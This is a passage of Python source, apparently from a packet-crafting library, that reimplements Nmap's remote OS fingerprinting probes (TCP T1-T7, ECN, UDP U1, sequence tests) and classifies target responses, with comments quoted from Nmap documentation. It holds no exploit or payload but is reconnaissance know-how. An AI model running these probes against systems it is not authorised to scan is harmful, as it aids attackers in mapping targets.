self.add_result("DF", "Y") else: self.add_result("DF", "N") self.add_result("W", tcp.get_th_win()) if tcp.get_th_ack() == self.sequence + 1: self.add_result("ACK", "S++") elif tcp.get_th_ack() == self.sequence: self.add_result("ACK", "S") else: self.add_result("ACK", "O") flags = [] # TCP flags if tcp.get_ECE(): flags.append("B") if tcp.get_URG(): flags.append("U") if tcp.get_ACK(): flags.append("A") if tcp.get_PSH(): flags.append("P") if tcp.get_RST(): flags.append("R") if tcp.get_SYN(): flags.append("S") if tcp.get_FIN(): flags.append("F") self.add_result("FLAGS", flags) options = [] for op in tcp.get_options(): if op.get_kind() == TCPOption.TCPOPT_EOL: options.append("L") elif op.get_kind() == TCPOption.TCPOPT_MAXSEG: options.append("M") if op.get_mss() == self.mss: options.append("E") # Echoed elif op.get_kind() == TCPOption.TCPOPT_NOP: options.append("N") elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP: options.append("T") elif op.get_kind() == TCPOption.TCPOPT_WINDOW: options.append("W") self.add_result("OPTIONS", options) def get_final_result(self): return {self.test_id(): self.get_result_dict()} class nmap2_tcp_probe(nmap_tcp_probe): acknowledgment = 0x181d4f7b def __init__(self, id, addresses, tcp_ports, open_port, sequence, options): nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, sequence, options) self.t.set_th_ack(self.acknowledgment) def set_resp(self,resp): # Responsiveness (R) # This test simply records whether the target responded to a given probe. # Possible values are Y and N. If there is no reply, remaining fields # for the test are omitted. if resp: self.add_result("R", "Y") else: self.add_result("R", "N") def process(self, packet): ip = packet.child() tcp = ip.child() # R, DF, T*, TG*, W, S, A, F, O, RD*, Q self.set_resp(True) tests = nmap2_tcp_tests(ip, tcp, self.sequence, self.acknowledgment) self.add_result("DF", tests.get_df()) self.add_result("W", tests.get_win()) self.add_result("S", tests.get_seq()) self.add_result("A", tests.get_ack()) self.add_result("F", tests.get_flags()) self.add_result("O", tests.get_options()) self.add_result("Q", tests.get_quirks()) def get_final_result(self): return {self.test_id() : self.get_result_dict()} class nmap2_ecn_probe(nmap_tcp_probe): # From nmap-4.22SOC8/osscan2.cc: # [...] # "\003\003\012\001\002\004\005\264\004\002\001\001" # [...] # From: http://nmap.org/book/osdetect-methods.html # [...] # This probe tests for explicit congestion notification (ECN) support # in the target TCP stack. ECN is a method for improving Internet # performance by allowing routers to signal congestion problems before # they start having to drop packets. It is documented in RFC 3168. # Nmap tests this by sending a SYN packet which also has the ECN CWR # and ECE congestion control flags set. For an unrelated (to ECN) test, # the urgent field value of 0xF7F5 is used even though the urgent flag # is not set. The acknowledgment number is zero, sequence number is # random, window size field is three, and the reserved bit which # immediately precedes the CWR bit is set. TCP options are WScale (10), # NOP, MSS (1460), SACK permitted, NOP, NOP. The probe is sent to an # open port. # [...] tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), #\002\004\005\0264 TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), #\004\002 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_NOP) #\001 ] def __init__(self, id, addresses, tcp_ports): nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, 0x8b6a, self.tcp_options) self.t.set_SYN() self.t.set_CWR() self.t.set_ECE() self.t.set_flags(0x800) self.t.set_th_urp(0xF7F5) self.t.set_th_ack(0) self.t.set_th_win(3) #self.t.set_th_flags(self.t.get_th_flags() | 0x0100) # 0000 0001 00000000 def test_id(self): return "ECN" def set_resp(self,resp): if resp: self.add_result("R", "Y") else: self.add_result("R", "N") def process(self, packet): ip = packet.child() tcp = ip.child() # R, DF, T*, TG*, W, O, CC, Q self.set_resp(True) tests = nmap2_tcp_tests(ip, tcp, 0, 0) self.add_result("DF", tests.get_df()) self.add_result("W", tests.get_win()) self.add_result("O", tests.get_options()) self.add_result("CC", tests.get_cc()) self.add_result("Q", tests.get_quirks()) def get_final_result(self): return {self.test_id() : self.get_result_dict()} class nmap2_tcp_tests: def __init__(self, ip, tcp, sequence, acknowledgment): self.__ip = ip self.__tcp = tcp self.__sequence = sequence self.__acknowledgment = acknowledgment def get_df(self): # IP don't fragment bit (DF) # The IP header contains a single bit which forbids routers from fragmenting # a packet. If the packet is too large for routers to handle, they will just # have to drop it (and ideally return a "destination unreachable, # fragmentation needed" response). This test records Y if the bit is set, # and N if it isn't. if self.__ip.get_ip_df(): return "Y" else: return "N" def get_win(self): # TCP initial window size (W, W1-W6) # This test simply records the 16-bit TCP window size of the received packet. return "%X" % self.__tcp.get_th_win() def get_ack(self): # TCP acknowledgment number (A) # This test is the same as S except that it tests how the acknowledgment # number in the response compares to the sequence number in the # respective probe. # Value Description # Z Acknowledgment number is zero. # S Acknowledgment number is the same as the sequence number in the probe. # S+ Acknowledgment number is the same as the sequence number in the probe plus one. # O Acknowledgment number is something else (other). if self.__tcp.get_th_ack() == self.__sequence + 1: return "S+" elif self.__tcp.get_th_ack() == self.__sequence: return "S" elif self.__tcp.get_th_ack() == 0: return "Z" else: return "O" def get_seq(self): # TCP sequence number (S) # This test examines the 32-bit sequence number field in the TCP # header. Rather than record the field value as some other tests # do, this one examines how it compares to the TCP acknowledgment # number from the probe that elicited the response. # Value Description # Z Sequence number is zero. # A Sequence number is the same as the acknowledgment number in the probe. # A+ Sequence number is the same as the acknowledgment number in the probe plus one. # O Sequence number is something else (other). if self.__tcp.get_th_seq() == self.__acknowledgment + 1: return "A+" elif self.__tcp.get_th_seq() == self.__acknowledgment: return "A" elif self.__tcp.get_th_seq() == 0: return "Z" else: return "O" def get_flags(self): # TCP flags (F) # This field records the TCP flags in the response. Each letter represents # one flag, and they occur in the same order as in a TCP packet (from # high-bit on the left, to the low ones). So the value SA represents the # SYN and ACK bits set, while the value AS is illegal (wrong order). # The possible flags are shown in Table 8.7. # Character Flag name Flag byte value # E ECN Echo (ECE) 64 # U Urgent Data (URG) 32 # A Acknowledgment (ACK) 16 # P Push (PSH) 8 # R Reset (RST) 4 # S Synchronize (SYN) 2 # F Final (FIN) 1 flags = "" if self.__tcp.get_ECE(): flags += "E" if self.__tcp.get_URG(): flags += "U" if self.__tcp.get_ACK(): flags += "A" if self.__tcp.get_PSH(): flags += "P" if self.__tcp.get_RST(): flags += "R" if self.__tcp.get_SYN(): flags += "S" if self.__tcp.get_FIN(): flags += "F" return flags def get_options(self): # Option Name Character Argument (if any) # End of Options List (EOL) L # No operation (NOP) N # Maximum Segment Size (MSS) M The value is appended. Many systems # echo the value used in the corresponding probe. # Window Scale (WS) W The actual value is appended. # Timestamp (TS) T The T is followed by two binary characters # representing the TSval and TSecr values respectively. # The characters are 0 if the field is zero # and 1 otherwise. # Selective ACK permitted (SACK) S options = "" for op in self.__tcp.get_options(): if op.get_kind() == TCPOption.TCPOPT_EOL: options += "L" elif op.get_kind() == TCPOption.TCPOPT_MAXSEG: options += "M%X" % (op.get_mss()) elif op.get_kind() == TCPOption.TCPOPT_NOP: options += "N" elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP: options += "T%i%i" % (int(op.get_ts()!=0), int(op.get_ts_echo()!=0)) elif op.get_kind() == TCPOption.TCPOPT_WINDOW: options += "W%X" % (op.get_shift_cnt()) elif op.get_kind() == TCPOption.TCPOPT_SACK_PERMITTED: options += "S" return options def get_cc(self): # Explicit congestion notification (CC) # This test is only used for the ECN probe. That probe is a SYN packet # which includes the CWR and ECE congestion control flags. When the # response SYN/ACK is received, those flags are examined to set the # CC (congestion control) test value as described in Table 8.3. # Table 8.3. CC test values # Value Description # Y Only the ECE bit is set (not CWR). This host supports ECN. # N Neither of these two bits is set. The target does not support # ECN. # S Both bits are set. The target does not support ECN, but it # echoes back what it thinks is a reserved bit. # O The one remaining combination of these two bits (other). ece, cwr = self.__tcp.get_ECE(), self.__tcp.get_CWR() if ece and not cwr: return "Y" elif not ece and not cwr: return "N" elif ece and cwr: return "S" else: return "O" def get_quirks(self): # TCP miscellaneous quirks (Q) # This tests for two quirks that a few implementations have in their # TCP stack. The first is that the reserved field in the TCP header # (right after the header length) is nonzero. This is particularly # likely to happen in response to the ECN test as that one sets a # reserved bit in the probe. If this is seen in a packet, an "R" # is recorded in the Q string. # The other quirk Nmap tests for is a nonzero urgent pointer field # value when the URG flag is not set. This is also particularly # likely to be seen in response to the ECN probe, which sets a # non-zero urgent field. A "U" is appended to the Q string when # this is seen. # The Q string must always be generated in alphabetical order. # If no quirks are present, the Q test is empty but still shown. quirks = "" if ((self.__tcp.get_th_flags() >> 8) & 0x0f) != 0: quirks += "R" if self.__tcp.get_URG() == 0 and self.__tcp.get_th_urp() != 0: quirks += "U" return quirks class nmap2_tcp_probe_2_6(nmap2_tcp_probe): sequence = 0x8453 # 0xBASE, obviously mss = 265 # From nmap-4.22SOC8/osscan2.cc: # [...] # "\003\003\012\001\002\004\001\011\010\012\377\377\377\377\000\000\000\000\004\002" # [...] # From: http://nmap.org/book/osdetect-methods.html # [...] # The six T2 through T7 tests each send one TCP probe packet. # With one exception, the TCP options data in each case is (in hex) # 03030A0102040109080AFFFFFFFF000000000402. # Those 20 bytes correspond to window scale (10), NOP, MSS (265), # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), then SACK permitted. # (... tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000 TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002 ] def __init__(self, id, addresses, tcp_ports, open_port): nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, self.sequence, self.tcp_options) class nmap2_tcp_probe_7(nmap2_tcp_probe): sequence = 0x8453 # 0xBASE, obviously mss = 265 # ...) # The exception is that T7 uses a Window scale value of 15 rather than 10 # [...] tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 017), #\003\003\017 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000 TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002 ] def __init__(self, id, addresses, tcp_ports, open_port): nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, self.sequence, self.tcp_options) class nmap_port_unreachable(udp_closed_probe): def __init__(self, id, addresses, ports): udp_closed_probe.__init__(self, id, addresses, ports[2]) self.set_resp(False) def test_id(self): pass def set_resp(self, resp): pass def process(self, packet): pass class nmap1_port_unreachable(nmap_port_unreachable): def __init__(self, id, addresses, ports): nmap_port_unreachable.__init__(self, id, addresses, ports) self.u.contains(Data("A" * 300)) def test_id(self): return "PU" def set_resp(self,resp): if resp: self.add_result("Resp", "Y") else: self.add_result("Resp", "N") def process(self, packet): ip_orig = self.err_data if ip_orig.get_ip_p() != ImpactPacket.UDP.protocol: return udp = ip_orig.child() if not udp: return ip = packet.child() self.set_resp(True) if ip.get_ip_df(): self.add_result("DF", "Y") else: self.add_result("DF", "N") self.add_result("TOS", ip.get_ip_tos()) self.add_result("IPLEN", ip.get_ip_len()) self.add_result("RIPTL", ip_orig.get_ip_len()) # Some systems return a different IPLEN recv_ip_id = ip_orig.get_ip_id() if 0 == recv_ip_id: self.add_result("RID", "0") elif udp_closed_probe.ip_id == recv_ip_id: self.add_result("RID", "E") else: self.add_result("RID", "F") ip_sum = ip_orig.get_ip_sum() ip_orig.set_ip_sum(0) checksum = ip_orig.compute_checksum(ip_orig.get_bytes()) if 0 == checksum: self.add_result("RIPCK", "0") elif checksum == ip_sum: self.add_result("RIPCK", "E") else: self.add_result("RIPCK", "F") udp_sum = udp.get_uh_sum() udp.set_uh_sum(0) udp.auto_checksum = 1 udp.calculate_checksum() if 0 == udp_sum: self.add_result("UCK", "0") elif self.u.get_uh_sum() == udp_sum: self.add_result("UCK", "E") else: self.add_result("UCK", "F") self.add_result("ULEN", udp.get_uh_ulen()) if ip.child().child().child().child() == udp.child(): # Some systems meddle with the data self.add_result("DAT", "E") else: self.add_result("DAT", "F") def get_final_result(self): return {self.test_id(): self.get_result_dict()} class nmap2_port_unreachable(nmap_port_unreachable): # UDP (U1) # This probe is a UDP packet sent to a closed port. The character 'C' # (0x43) is repeated 300 times for the data field. The IP ID value is # set to 0x1042 for operating systems which allow us to set this. If # the port is truly closed and there is no firewall in place, Nmap # expects to receive an ICMP port unreachable message in return. # That response is then subjected to the R, DF, T, TG, TOS, IPL, UN, # RIPL, RID, RIPCK, RUCK, RUL, and RUD tests. def __init__(self, id, addresses, ports): nmap_port_unreachable.__init__(self, id, addresses, ports) self.u.contains(Data("C" * 300)) self.i.set_ip_id(0x1042) def test_id(self): return "U1" def set_resp(self,resp): if resp: self.add_result("R", "Y") else: self.add_result("R", "N") def process(self, packet): ip_orig = self.err_data if ip_orig.get_ip_p() != ImpactPacket.UDP.protocol: return udp = ip_orig.child() if not udp: return ip = packet.child() icmp = ip.child() if ip.get_ip_df(): self.add_result("DF", "Y") else: self.add_result("DF", "N") # XXX T # IP initial time-to-live (T) # IP packets contain a field named time-to-live (TTL) which is # decremented every time they traverse a router. If the field # reaches zero, the packet must be discarded. This prevents # packets from looping endlessly. Because operating systems differ # on which TTL they start with, it can be used for OS detection. # Nmap determines how many hops away it is from the target by # examining the ICMP port unreachable response to the U1 probe. # That response includes the original IP packet, including the # already-decremented TTL field, received by the target. By # subtracting that value from our as-sent TTL, we learn how many # hops away the machine is. Nmap then adds that hop distance to # the probe response TTL to determine what the initial TTL was # when that ICMP probe response packet was sent. That initial TTL # value is stored in the fingerprint as the T result. # Even though an eight-bit field like TTL can never hold values # greater than 0xFF, this test occasionally results in values of # 0x100 or higher. This occurs when a system (could be the source, # a target, or a system in between) corrupts or otherwise fails to # correctly decrement the TTL. It can also occur due to asymmetric # routes. # XXX TG # IP initial time-to-live guess (TG) # It is not uncommon for Nmap to receive no response to the U1 probe, # which prevents Nmap from learning how many hops away a target is. # Firewalls and NAT devices love to block unsolicited UDP packets. # But since common TTL values are spread well apart and targets are # rarely more than 20 hops away, Nmap can make a pretty good guess # anyway. Most systems send packets with an initial TTL of 32, 60, 64, # 128, or 255. So the TTL value received in the response is rounded # up to the next value out of 32, 64, 128, or 255. 60 is not in that # list because it cannot be reliably distinguished from 64. It is # rarely seen anyway. # The resulting guess is stored in the TG field. This TTL guess field # is not printed in a subject fingerprint if the actual TTL (T) value # was discovered. # IP type of service (TOS) # This test simply records the type of service byte from the # IP header of ICMP port unreachable packets. # This byte is described in RFC 791 self.add_result("TOS", "%X" % ip.get_ip_tos()) # IP total length (IPL) # This test records the total length (in octets) of an IP packet. # It is only used for the port unreachable response elicited by the # U1 test. self.add_result("IPL", "%X" % ip.get_ip_len()) # Unused port unreachable field nonzero (UN) # An ICMP port unreachable message header is eight bytes long, but # only the first four are used. RFC 792 states that the last four # bytes must be zero. A few implementations (mostly ethernet switches # and some specialized embedded devices) set it anyway. The value of # those last four bytes is recorded in this field. self.add_result("UN", "%X" % icmp.get_icmp_void()) # Returned probe IP total length value (RIPL) # ICMP port unreachable messages (as are sent in response to the U1 # probe) are required to include the IP header which generated them. # This header should be returned just as they received it, but some # implementations send back a corrupted version due to changes they # made during IP processing. This test simply records the returned # IP total length value. If the correct value of 0x148 (328) is # returned, the value G (for good) is stored instead of the actual value. if ip_orig.get_ip_len() == 0x148: self.add_result("RIPL","G") else: self.add_result("RIPL", "%X" % ip_orig.get_ip_len()) # Returned probe IP ID value (RID) # The U1 probe has a static IP ID value of 0x1042. If that value is # returned in the port unreachable message, the value G is stored for # this test. Otherwise the exact value returned is stored. Some systems, # such as Solaris, manipulate IP ID values for raw IP packets that # Nmap sends. In such cases, this test is skipped. We have found # that some systems, particularly HP and Xerox printers, flip the bytes # and return 0x4210 instead. if 0x1042 == ip_orig.get_ip_id(): self.add_result("RID", "G") else: self.add_result("RID", "%X" % ip_orig.get_ip_id()) # Integrity of returned probe IP checksum value (RIPCK) # The IP checksum is one value that we don't expect to remain the same # when returned in a port unreachable message. After all, each network # hop during transit changes the checksum as the TTL is decremented. # However, the checksum we receive should match the enclosing IP packet. # If it does, the value G (good) is stored for this test. If the returned # value is zero, then Z is stored. Otherwise the result is I (invalid). ip_sum = ip_orig.get_ip_sum() ip_orig.set_ip_sum(0) checksum = ip_orig.compute_checksum(ip_orig.get_bytes()) if 0 == checksum: self.add_result("RIPCK", "Z") elif checksum == ip_sum: self.add_result("RIPCK", "G") else: self.add_result("RIPCK", "I") # Integrity of returned probe UDP length and checksum (RUL and RUCK) # The UDP header length and checksum values should be returned exactly # as they were sent. If so, G is recorded for these tests. Otherwise # the value actually returned is recorded. The proper length is 0x134 (308). udp_sum = udp.get_uh_sum() udp.set_uh_sum(0) udp.auto_checksum = 1 udp.calculate_checksum() if self.u.get_uh_sum() == udp_sum: self.add_result("RUCK", "G") else: self.add_result("RUCK", "%X" % udp_sum) if udp.get_uh_ulen() == 0x134: self.add_result("RUL","G") else: self.add_result("RUL", "%X" % udp.get_uh_ulen()) # Integrity of returned UDP data (RUD) # If the UDP payload returned consists of 300 'C' (0x43) # characters as expected, a G is recorded for this test. # Otherwise I (invalid) is recorded. if ip.child().child().child().child() == udp.child(): self.add_result("RUD", "G") else: self.add_result("RUD", "I") def get_final_result(self): return {self.test_id(): self.get_result_dict()} class OS_ID: def __init__(self, target, ports): pcap_dev = pcap.lookupdev() self.p = pcap.open_live(pcap_dev, 600, 0, 3000) self.__source = self.p.getlocalip() self.__target = target self.p.setfilter("src host %s and dst host %s" % (target, self.__source), 1, 0xFFFFFF00) self.p.setmintocopy(10) self.decoder = EthDecoder() self.tests_sent = [] self.outstanding_count = 0 self.results = {} self.current_id = 12345 self.__ports = ports def releasePcap(self): if not (self.p is None): self.p.close() def get_new_id(self): id = self.current_id self.current_id += 1 self.current_id &= 0xFFFF return id def send_tests(self, tests): self.outstanding_count = 0 for t_class in tests: # Ok, I need to know if the constructor accepts the parameter port # We could ask also by co_varnames, but the port parameters is not a standarized... asking by args count :( if t_class.__init__.im_func.func_code.co_argcount == 4: test = t_class(self.get_new_id(), [self.__source, self.__target], self.__ports ) else: test = t_class(self.get_new_id(), [self.__source, self.__target] ) self.p.sendpacket(test.get_test_packet()) self.outstanding_count += 1 self.tests_sent.append(test) while self.p.readready(): self.p.dispatch(1, self.packet_handler) while self.outstanding_count > 0: data = self.p.next()[0] if data: self.packet_handler(0, data) else: break def run(self): pass def get_source(self): return self.__source def get_target(self): return self.__target def get_ports(self): return self.__ports def packet_handler(self, len, data): packet = self.decoder.decode(data) for t in self.tests_sent: if t.is_mine(packet): t.process(packet) self.outstanding_count -= 1 class nmap1_tcp_open_1(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) self.t.set_ECE() self.t.set_SYN() def test_id(self): return "T1" def is_mine(self, packet): if tcp_probe.is_mine(self, packet): ip = packet.child() if not ip: return 0 tcp = ip.child() if not tcp: return 0 if tcp.get_SYN() and tcp.get_ACK(): return 1 else: return 0 else: return 0 class nmap1_tcp_open_2(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) def test_id(self): return "T2" class nmap2_tcp_open_2(nmap2_tcp_probe_2_6): # From: http://nmap.org/book/osdetect-methods.html # [...] # T2 sends a TCP null (no flags set) packet with the IP DF bit set and a # window field of 128 to an open port. # ... def __init__(self, id, addresses, tcp_ports): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) self.i.set_ip_df(1) self.t.set_th_win(128) def test_id(self): return "T2" class nmap1_tcp_open_3(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports ): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) self.t.set_SYN() self.t.set_FIN() self.t.set_URG() self.t.set_PSH() def test_id(self): return "T3" class nmap2_tcp_open_3(nmap2_tcp_probe_2_6): # ... # T3 sends a TCP packet with the SYN, FIN, URG, and PSH flags set and a # window field of 256 to an open port. The IP DF bit is not set. # ... def __init__(self, id, addresses, tcp_ports ): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) self.t.set_SYN() self.t.set_FIN() self.t.set_URG() self.t.set_PSH() self.t.set_th_win(256) self.i.set_ip_df(0) def test_id(self): return "T3" class nmap1_tcp_open_4(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) self.t.set_ACK() def test_id(self): return "T4" class nmap2_tcp_open_4(nmap2_tcp_probe_2_6): # ... # T4 sends a TCP ACK packet with IP DF and a window field of 1024 to # an open port. # ... def __init__(self, id, addresses, tcp_ports ): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) self.t.set_ACK() self.i.set_ip_df(1) self.t.set_th_win(1024) def test_id(self): return "T4" class nmap1_seq(nmap1_tcp_probe): SEQ_UNKNOWN = 0 SEQ_64K = 1 SEQ_TD = 2 SEQ_RI = 4 SEQ_TR = 8 SEQ_i800 = 16 SEQ_CONSTANT = 32 TS_SEQ_UNKNOWN = 0 TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0 TS_SEQ_2HZ = 2 TS_SEQ_100HZ = 3 TS_SEQ_1000HZ = 4 TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp IPID_SEQ_UNKNOWN = 0 IPID_SEQ_INCR = 1 # simple increment by one each time IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down) IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this) def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) self.t.set_SYN() self.t.set_th_seq(id) # Used to match results with sent packets. def process(self, p): raise Exception("Method process is meaningless for class %s." % self.__class__.__name__) class nmap2_seq(nmap2_tcp_probe): TS_SEQ_UNKNOWN = 0 TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0 TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp IPID_SEQ_UNKNOWN = 0 IPID_SEQ_INCR = 1 # simple increment by one each time IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down) IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this) def __init__(self, id, addresses, tcp_ports, options): nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, id, options) self.t.set_SYN() def process(self, p): raise Exception("Method process is meaningless for class %s." % self.__class__.__name__) class nmap2_seq_1(nmap2_seq): # Packet #1: window scale (10), # NOP, # MSS (1460), # timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # SACK permitted. # The window field is 1. tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 10), TCPOption(TCPOption.TCPOPT_NOP), TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(1) class nmap2_seq_2(nmap2_seq): # Packet #2: MSS (1400), # window scale (0), # SACK permitted, # timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # EOL. # The window field is 63. tcp_options = [ TCPOption(TCPOption.TCPOPT_MAXSEG, 1400), TCPOption(TCPOption.TCPOPT_WINDOW, 0), TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_EOL) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(63) class nmap2_seq_3(nmap2_seq): # Packet #3: Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # NOP, # NOP, # window scale (5), # NOP, # MSS (640). # The window field is 4. tcp_options = [ TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_NOP), TCPOption(TCPOption.TCPOPT_NOP), TCPOption(TCPOption.TCPOPT_WINDOW, 5), TCPOption(TCPOption.TCPOPT_NOP), TCPOption(TCPOption.TCPOPT_MAXSEG, 640) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(4) class nmap2_seq_4(nmap2_seq): # Packet #4: SACK permitted, # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # window scale (10), # EOL. # The window field is 4. tcp_options = [ TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_WINDOW, 10), TCPOption(TCPOption.TCPOPT_EOL) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(4) class nmap2_seq_5(nmap2_seq): # Packet #5: MSS (536), # SACK permitted, # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), # window scale (10), # EOL. # The window field is 16. tcp_options = [ TCPOption(TCPOption.TCPOPT_MAXSEG, 536), TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), TCPOption(TCPOption.TCPOPT_WINDOW, 10), TCPOption(TCPOption.TCPOPT_EOL) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(16) class nmap2_seq_6(nmap2_seq): # Packet #6: MSS (265), # SACK permitted, # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0). # The window field is 512. tcp_options = [ TCPOption(TCPOption.TCPOPT_MAXSEG, 265), TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF) ] def __init__(self, id, addresses, tcp_ports): nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options) self.t.set_th_win(512) class nmap1_seq_container(os_id_test): def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs): os_id_test.__init__(self, 0) self.num_seq_samples = num_seq_samples self.seq_responses = responses self.seq_num_responses = len(responses) self.seq_diffs = seq_diffs self.ts_diffs = ts_diffs self.time_diffs = time_diffs self.pre_ts_seqclass = nmap1_seq.TS_SEQ_UNKNOWN def test_id(self): return "TSEQ" def set_ts_seqclass(self, ts_seqclass): self.pre_ts_seqclass = ts_seqclass def process(self): ipid_seqclass = self.ipid_sequence() if nmap1_seq.TS_SEQ_UNKNOWN != self.pre_ts_seqclass: ts_seqclass = self.pre_ts_seqclass else: ts_seqclass = self.ts_sequence() if self.seq_num_responses >= 4: seq_seqclass = self.seq_sequence() if nmap1_seq.SEQ_UNKNOWN != seq_seqclass: self.add_seqclass(seq_seqclass) if nmap1_seq.IPID_SEQ_UNKNOWN != ipid_seqclass: self.add_ipidclass(ipid_seqclass) if nmap1_seq.TS_SEQ_UNKNOWN != ts_seqclass: self.add_tsclass(ts_seqclass) else: PyImpact.t_log(1, "Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate." % (self.seq_num_responses, self.num_seq_samples)) def get_final_result(self): "Returns a string representation of the final result of this test or None if no response was received" return {self.test_id(): self.get_result_dict()} def ipid_sequence(self): if self.seq_num_responses < 2: return nmap1_seq.IPID_SEQ_UNKNOWN ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1)) null_ipids = 1 for i in xrange(1, self.seq_num_responses): prev_ipid = self.seq_responses[i-1].get_ipid() cur_ipid = self.seq_responses[i].get_ipid() if cur_ipid < prev_ipid and (cur_ipid > 500 or prev_ipid < 65000): return nmap1_seq.IPID_SEQ_RD if prev_ipid != 0 or cur_ipid != 0: null_ipids = 0 ipid_diffs[i-1] = abs(cur_ipid - prev_ipid) if null_ipids: return nmap1_seq.IPID_SEQ_ZERO # Battle plan: # If any diff is > 1000, set to random, if 0, set to constant. # If any of the diffs are 1, or all are less than 9, set to incremental. for i in xrange(0, self.seq_num_responses - 1): if ipid_diffs[i] > 1000: return nmap1_seq.IPID_SEQ_RPI if ipid_diffs[i] == 0: return nmap1_seq.IPID_SEQ_CONSTANT is_incremental = 1 # All diferences are less than 9 is_ms = 1 # All diferences are multiples of 256 for i in xrange(0, self.seq_num_responses - 1): if ipid_diffs[i] == 1: return nmap1_seq.IPID_SEQ_INCR if is_ms and ipid_diffs[i] < 2560 and (ipid_diffs[i] % 256) != 0: is_ms = 0 if ipid_diffs[i] > 9: is_incremental = 0 if is_ms: return nmap1_seq.IPID_SEQ_BROKEN_INCR if is_incremental: return nmap1_seq.IPID_SEQ_INCR return 